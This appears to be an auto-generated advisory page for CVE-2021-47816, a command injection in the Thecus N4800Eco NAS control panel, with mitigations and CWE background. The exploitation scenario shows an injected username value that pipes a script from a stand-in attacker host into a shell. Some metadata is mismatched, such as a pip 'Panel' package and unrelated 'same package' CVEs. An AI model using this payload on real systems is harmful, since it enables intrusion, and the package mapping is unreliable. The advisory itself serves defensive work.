CVE-2021-47816: Thecus NAS: authenticated command injection to RCE
HIGHThis is a classic OS command injection (CWE-78) in the Thecus N4800Eco NAS control panel: an already-authenticated, low-privilege user can smuggle shell metacharacters into the username or batch-user-creation fields and have them executed as commands with administrative privileges on the appliance. The CVSS 8.8 score reflects a low bar to exploit — no user interaction, low attack complexity, network-reachable — but this is not in CISA KEV, no EPSS score is published, and there is no Nuclei template for mass scanning, so opportunistic internet-wide exploitation is currently unlikely rather than confirmed. That said, working exploit code is already public (ExploitDB #49926 and a third-party technical write-up), so any team running an internet- or LAN-exposed Thecus N4800Eco should treat this as exploitable-on-demand, not theoretical. Thecus as a brand has been effectively discontinued, so a vendor patch is unlikely to materialize — the practical mitigation is to take the admin control panel off any routable network, restrict it to a management VLAN with strict ACLs, rotate all local NAS accounts, and monitor for anomalous child processes spawned by the web management daemon. If this device is used anywhere in the environment to hold datasets, model checkpoints, or ML pipeline artifacts, its compromise should be treated as a potential data-integrity event for whatever it stores, not just a network appliance issue.
What is the risk?
High severity (CVSS 8.8) via a low-complexity, network-reachable command injection that yields full C/I/A compromise (root-level command execution) of the device. Mitigating factors: it requires an authenticated (low-privilege) session, is not listed in CISA KEV, has no EPSS score, and has no automated scanner (Nuclei) coverage, so there's no strong signal of active mass exploitation. Aggravating factors: public exploit code exists (ExploitDB), the flaw sits in a management/admin surface that is often exposed for remote administration, and the Thecus product line is effectively end-of-life, so no vendor fix should be expected. Note: the 'downstream dependents' (491) and OpenSSF Scorecard (6.9/10) figures attached to this record are typical of open-source package metadata and do not meaningfully apply to a closed-source NAS appliance's firmware — they should not be used to gauge this CVE's real-world exposure.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Panel | pip | — | No patch |
Do you use Panel? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step-
1) No vendor patch is expected given Thecus's discontinued status — plan to decommission or replace end-of-life NAS hardware that is internet- or broadly LAN-exposed. 2) Immediately restrict the NAS control panel to a dedicated management VLAN/jump host, block it from general user or internet-facing networks. 3) Enforce strong, unique credentials for every NAS account and remove/rotate any shared or default accounts, since exploitation requires only a low-privilege authenticated session. 4) Monitor NAS system logs and running processes for unexpected shell invocations spawned by the web management service (indicator of command injection). 5) If any AI/ML datasets, checkpoints, or pipeline artifacts are stored on this device, verify their integrity (checksums) and treat the share as untrusted until confirmed clean. 6) Consider network-level virtual patching (WAF/IPS rule blocking shell metacharacters in the affected user-management endpoints) as a stopgap.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2021-47816?
This is a classic OS command injection (CWE-78) in the Thecus N4800Eco NAS control panel: an already-authenticated, low-privilege user can smuggle shell metacharacters into the username or batch-user-creation fields and have them executed as commands with administrative privileges on the appliance. The CVSS 8.8 score reflects a low bar to exploit — no user interaction, low attack complexity, network-reachable — but this is not in CISA KEV, no EPSS score is published, and there is no Nuclei template for mass scanning, so opportunistic internet-wide exploitation is currently unlikely rather than confirmed. That said, working exploit code is already public (ExploitDB #49926 and a third-party technical write-up), so any team running an internet- or LAN-exposed Thecus N4800Eco should treat this as exploitable-on-demand, not theoretical. Thecus as a brand has been effectively discontinued, so a vendor patch is unlikely to materialize — the practical mitigation is to take the admin control panel off any routable network, restrict it to a management VLAN with strict ACLs, rotate all local NAS accounts, and monitor for anomalous child processes spawned by the web management daemon. If this device is used anywhere in the environment to hold datasets, model checkpoints, or ML pipeline artifacts, its compromise should be treated as a potential data-integrity event for whatever it stores, not just a network appliance issue.
Is CVE-2021-47816 actively exploited?
No confirmed active exploitation of CVE-2021-47816 has been reported, but organizations should still patch proactively.
How to fix CVE-2021-47816?
1) No vendor patch is expected given Thecus's discontinued status — plan to decommission or replace end-of-life NAS hardware that is internet- or broadly LAN-exposed. 2) Immediately restrict the NAS control panel to a dedicated management VLAN/jump host, block it from general user or internet-facing networks. 3) Enforce strong, unique credentials for every NAS account and remove/rotate any shared or default accounts, since exploitation requires only a low-privilege authenticated session. 4) Monitor NAS system logs and running processes for unexpected shell invocations spawned by the web management service (indicator of command injection). 5) If any AI/ML datasets, checkpoints, or pipeline artifacts are stored on this device, verify their integrity (checksums) and treat the share as untrusted until confirmed clean. 6) Consider network-level virtual patching (WAF/IPS rule blocking shell metacharacters in the affected user-management endpoints) as a stopgap.
What systems are affected by CVE-2021-47816?
This vulnerability affects the following AI/ML architecture patterns: data/model storage on network-attached storage, training pipelines (upstream data staging).
What is the CVSS score for CVE-2021-47816?
CVE-2021-47816 has a CVSS v3.1 base score of 8.8 (HIGH).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0037 Data from Local System Compliance Controls Affected
What are the technical details?
Original Advisory
Thecus N4800Eco NAS Server Control Panel contains a command injection vulnerability that allows authenticated attackers to execute arbitrary system commands through user management endpoints. Attackers can inject commands via username and batch user creation parameters to execute shell commands with administrative privileges.
Exploitation Scenario
An attacker obtains or brute-forces low-privilege credentials to the Thecus N4800Eco web control panel (e.g., a shared operator account used for routine user management). Once logged in, they submit a crafted username or batch user-creation request containing shell metacharacters (e.g., `; curl attacker.example/x.sh | sh`) into the vulnerable parameter. The NAS backend passes this input unsanitized to a system shell call, executing the attacker's command with administrative privileges. From there, the attacker can create a persistent backdoor admin account, exfiltrate any files on the shared volumes — including any datasets, model checkpoints, or notebooks an ML team may have stored there — or use the compromised NAS as a foothold to pivot deeper into the internal network.
Weaknesses (CWE)
CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
- [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
- [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H References
- thecus.com product
- thecus.com/product.php product
- docs.unsafe-inline.com/0day/thecus-n4800eco-nas-server-control-panel-comand-injection technical-description exploit
- exploit-db.com/exploits/49926 exploit
- vulncheck.com/advisories/thecus-neco-nas-server-control-panel-command-injection third-party-advisory
Timeline
Related Vulnerabilities
CVE-2024-13152 10.0 Mobuy Panel: SQLi allows unauthenticated DB takeover
Same package: panel CVE-2026-47744 9.9 Shopper: RBAC bypass allows full admin takeover
Same package: panel CVE-2026-54158 9.9 SiYuan: XSS→RCE via workspace sync in Electron app
Same package: panel CVE-2024-13147 9.8 B2B Login Panel: SQLi enables unauthenticated DB access
Same package: panel CVE-2024-5960 9.8 Panel: plaintext credential storage enables domain compromise
Same package: panel